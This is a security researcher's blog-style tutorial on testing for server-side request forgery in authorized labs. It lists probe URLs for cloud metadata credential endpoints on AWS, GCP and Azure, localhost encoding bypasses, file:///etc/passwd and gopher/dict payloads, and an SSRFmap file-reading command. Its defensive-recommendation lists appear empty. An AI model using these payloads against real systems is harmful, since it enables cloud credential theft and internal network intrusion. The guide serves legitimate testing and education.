Offensive Security Researcher & Quantum Cryptography Analyst

Server-Side Request Forgery: SSRF Testing Methodology

Abdul Wahab Junaid
Server-Side Request Forgery: SSRF Testing Methodology

SSRF has quietly become one of the most consequential vulnerability classes in cloud-native applications, and I’ve watched it earn its own dedicated category in the OWASP Top 10 for exactly that reason. What used to be treated as a minor “server made a request it shouldn’t have” bug has turned into a primary technique for stealing cloud credentials, pivoting into internal networks, and bypassing perimeter defenses entirely. In this guide, I’ll walk through a complete SSRF testing methodology — what it is, how to find it, how to exploit it responsibly in a lab, and how to defend against it.

What SSRF Is and Why It Matters

Server-side request forgery occurs when an attacker can manipulate a server-side application into making HTTP (or other protocol) requests to an unintended destination. Instead of the attacker’s browser making the request, the server itself becomes the one issuing it — which means the request originates from a trusted internal network position, often bypassing firewalls, network segmentation, and IP-based access controls that would normally block an external attacker.

This matters enormously in modern cloud environments because of metadata services. AWS, Azure, and GCP all expose an internal HTTP endpoint (commonly 169.254.169.254) that provides instance metadata — including, in vulnerable configurations, temporary IAM credentials. An SSRF vulnerability that reaches this endpoint can escalate from “the server fetched an unexpected URL” to “the attacker now has cloud account credentials” in a single request.

SSRF commonly appears in features that legitimately need to fetch remote content:

Lab Setup for Legal Practice

Because SSRF often involves probing internal network ranges and cloud metadata endpoints, it’s essential to keep this testing strictly within an isolated, authorized lab:

  1. A vulnerable application — OWASP Juice Shop and PortSwigger’s Web Security Academy both include dedicated SSRF labs.
  2. A simulated internal network — a couple of internal-only VMs running simple services (like a basic web server on a “internal” IP range) to represent what an attacker might pivot into.
  3. A simulated cloud metadata endpoint, if you want to practice that specific scenario — tools like ssrf-server or a simple Flask app bound to 169.254.169.254 on a lab-only loopback alias can replicate this safely.
  4. Burp Suite with the Collaborator feature (or a self-hosted alternative like interactsh) for detecting blind/out-of-band SSRF.
docker run --rm -p 3000:3000 bkimminich/juice-shop

What this does: spins up OWASP Juice Shop locally, which includes an SSRF challenge involving a URL-based image fetch feature — a realistic, legal target to start with.

Methodology: Step-by-Step SSRF Testing

Step 1: Identify Candidate Functionality

I go through the application looking specifically for any feature where the server fetches a resource based on user input: URL fields for avatars/logos, webhook URLs, “import from link” buttons, PDF export features, and API parameters that accept a URL, hostname, or IP.

Step 2: Test Basic SSRF with a Controlled Callback

The first test is simple — point the vulnerable parameter at a server you control and see if you receive a request:

python3 -m http.server 8000

Then submit a URL like:

http://attacker-lab.local:8000/ssrf-test

Purpose: if your listener logs an incoming request, you’ve confirmed the server-side component is making outbound requests based on your input — the foundational proof that SSRF is possible before probing anything sensitive.

For blind scenarios where there’s no visible response, Burp Collaborator or a self-hosted interactsh client works well:

interactsh-client

Purpose: generates a unique, disposable domain that logs any DNS or HTTP interaction, letting you detect out-of-band SSRF even when the application gives no visible feedback.

Step 3: Probe Internal Network Ranges

Once basic SSRF is confirmed, I test whether the server can reach internal-only addresses — this is where impact starts to escalate:

http://127.0.0.1/
http://localhost/
http://10.0.0.1/
http://192.168.1.1/
http://[::1]/

Purpose: these target loopback and common private IP ranges to check whether the vulnerable server can be used as a proxy into internal services that shouldn’t be reachable from the internet at all.

Step 4: Test Cloud Metadata Endpoint Access

In lab environments simulating a cloud deployment, I test whether the SSRF reaches the instance metadata service:

http://169.254.169.254/latest/meta-data/

Purpose: on real AWS EC2 instances, this endpoint (when IMDSv1 is enabled and reachable) can leak IAM role names and, with an additional request, temporary security credentials — a critical escalation path. I only ever test this against infrastructure I control and have explicitly configured for this purpose in a lab.

http://169.254.169.254/latest/meta-data/iam/security-credentials/

Purpose: this follow-up request, if reachable, would enumerate the IAM role attached to the instance — the next step toward extracting temporary access keys in a real (authorized) scenario.

Step 5: Bypass Filters and Blocklists

Many applications attempt to block SSRF with naive blocklists on localhost or 127.0.0.1. I test common bypass techniques:

http://127.1/
http://0177.0.0.1/
http://2130706433/
http://0x7f000001/
http://localtest.me/

Purpose: these are all alternate representations of 127.0.0.1 — decimal, octal, and hex encodings, plus DNS-based tricks — that bypass string-matching filters looking specifically for the literal string 127.0.0.1 or localhost.

I also test for DNS rebinding scenarios and open redirect chaining, where a URL first passes validation (pointing to an allowed external host) but redirects to an internal address once the server actually fetches it:

http://attacker-lab.local/redirect-to-internal

Purpose: if the vulnerable endpoint validates the initial URL but blindly follows redirects, this reveals the server ending up at an internal address anyway, bypassing allowlist checks that only inspect the first hop.

Step 6: Test Alternate Protocols

Depending on the underlying HTTP client library, SSRF sometimes allows non-HTTP schemes:

file:/// etc/passwd
gopher:// 127.0.0.1:6379/_...
dict://127.0.0.1:11211/stat

Purpose: file:// can expose local filesystem contents if the fetching library supports it; gopher:// can be used to craft raw byte streams toward internal services like Redis or Memcached, potentially enabling further exploitation beyond simple data retrieval. I only demonstrate these against services I’ve deliberately deployed in an isolated lab.

A Practical Example Chain

Here’s a simplified version of an SSRF chain I like to demonstrate in training labs:

  1. An application has a “generate PDF report” feature that renders a URL supplied by the user into a PDF using a headless browser server-side.
  2. I submit http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name as the target URL.
  3. The rendered PDF includes the raw metadata response as page content, since the headless browser dutifully fetches and displays it.
  4. In a real (authorized) engagement, this would hand over temporary cloud credentials scoped to whatever permissions the EC2 instance role has — a textbook SSRF-to-cloud-compromise chain.

Testing Across Different Cloud Providers

Metadata service behavior differs meaningfully between cloud providers, and I adjust my testing accordingly when the target’s cloud platform is known or discoverable:

AWS (EC2):

http://169.254.169.254/latest/meta-data/iam/security-credentials/

Purpose: IMDSv1 accepts a simple GET request; IMDSv2 requires first obtaining a session token via a PUT request with a hop-limit header, which makes it noticeably harder to exploit through a basic SSRF that can only control the request URL and not custom headers or methods.

Google Cloud Platform:

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Purpose: GCP’s metadata service requires the Metadata-Flavor: Google header on every request as a baseline protection. This means basic URL-only SSRF (where the attacker can’t set custom headers) is often insufficient on GCP unless the vulnerable application blindly forwards all incoming headers to the fetched URL.

Azure:

http://169.254.169.254/metadata/instance?api-version=2021-02-01

Purpose: similarly requires a Metadata: true header, following the same header-gated protection pattern as GCP, which is worth testing specifically for applications that proxy headers through to the target URL.

Automating SSRF Discovery

For larger assessments with many candidate parameters, I use Gopherus to generate protocol-specific payloads for internal service exploitation, and SSRFmap to automate testing across a captured request:

python3 ssrfmap.py -r request.txt -p url -m readfiles

Purpose: SSRFmap takes a captured HTTP request (-r), targets a specific parameter (-p), and runs a chosen exploitation module (-m) — in this case attempting to read local files through the SSRF vector, automating what would otherwise be a lot of manual payload crafting across different scenarios.

A Note on Responsible Testing of Internal Pivoting

When SSRF confirms access to internal services beyond the metadata endpoint, I’m careful to scope my testing to exactly what’s authorized. Discovering that an SSRF vector can reach an internal admin panel is a valid and important finding on its own; actually exploiting that internal service further usually requires separate, explicit authorization since it extends the blast radius of the engagement into systems that weren’t necessarily scoped for direct testing. I always clarify this boundary with the client before an engagement begins, and document the theoretical reachability clearly even when I stop short of deeper exploitation.

Common Mistakes and Troubleshooting Tips

Security Risks and Defensive Recommendations

For teams defending against SSRF, the recommendations I consistently give are:

I also make a habit of noting exactly which internal hosts and ports responded during testing, even ones that didn’t yield immediately exploitable results, since this reconnaissance data is genuinely useful for the client’s internal network security team independent of the SSRF finding itself — it effectively gives them a free internal port scan result from a network vantage point they might not otherwise have visibility into.

Detecting Blind SSRF Without Out-of-Band Infrastructure

Not every lab or engagement gives you a controlled external listener with a public IP or domain reachable from the target network. In those constrained cases, I fall back to timing-based inference: submitting a URL pointing to a non-routable or slow-to-timeout internal address and comparing response times against a known-fast baseline request.

http://10.255.255.1:81/

Purpose: requesting a likely-unreachable internal address on an unusual port often causes the server to hang until its own connection timeout is reached, producing a measurably longer response time than a request to a normal, reachable resource. While far less reliable than out-of-band callback detection, this technique can still confirm that the server is attempting outbound connections to attacker-influenced destinations in restricted testing environments where standing up external infrastructure isn’t practical or in scope.

Frequently Asked Questions

What’s the difference between SSRF and CSRF? CSRF tricks a victim’s browser into making an unwanted request using their existing session; SSRF tricks the server itself into making a request to an internal or arbitrary destination, often with no victim browser involved at all.

Can SSRF be exploited without any visible response from the server? Yes — this is called blind SSRF, and it requires out-of-band detection techniques like DNS or HTTP interaction logging via tools such as Burp Collaborator or interactsh.

Does IMDSv2 fully prevent cloud metadata SSRF? It significantly raises the bar by requiring a session token obtained via a PUT request, which basic GET-based SSRF can’t replicate, but it doesn’t eliminate risk if the vulnerable application can be manipulated into performing multi-step requests or if IMDSv1 remains enabled alongside it.

What tools help detect SSRF in an authorized assessment? Burp Suite (with Collaborator), interactsh, and manual listener setups with python3 -m http.server are the core tools I rely on for both basic and blind SSRF detection.

Is SSRF only a concern for cloud-hosted applications? No, though cloud metadata endpoints raise the stakes considerably. On-premises SSRF is still dangerous for reaching internal admin panels, databases, and other services not meant to be internet-accessible.

How common is SSRF in real bug bounty programs? It’s a consistently reported and often well-rewarded finding category, especially in applications with webhook, import, or document-generation features, given how directly it can chain into cloud credential theft.

Can a WAF stop SSRF attacks? A WAF can catch obvious payloads but is easily bypassed with encoding and redirect-based tricks; proper allowlist validation at the application layer is a far more reliable defense.

Conclusion

SSRF earning its own dedicated OWASP category reflects just how consequential this vulnerability class has become, especially as more infrastructure moves into cloud environments with metadata services sitting a single HTTP request away from credential theft. A solid SSRF testing methodology goes well beyond pointing a parameter at your own listener — it means systematically probing internal ranges, testing filter bypasses, checking for blind and redirect-based variants, and understanding exactly what’s reachable from the server’s network position. Build this out carefully in an isolated lab, and you’ll develop a sharp eye for the URL-fetching features that deserve the closest scrutiny in any real assessment.

For related methodology on chaining server-side vulnerabilities and reconnaissance, see my guides on top reconnaissance tools for security professionals and discovering services and vulnerabilities with nmap scripts.

References

Exit mobile version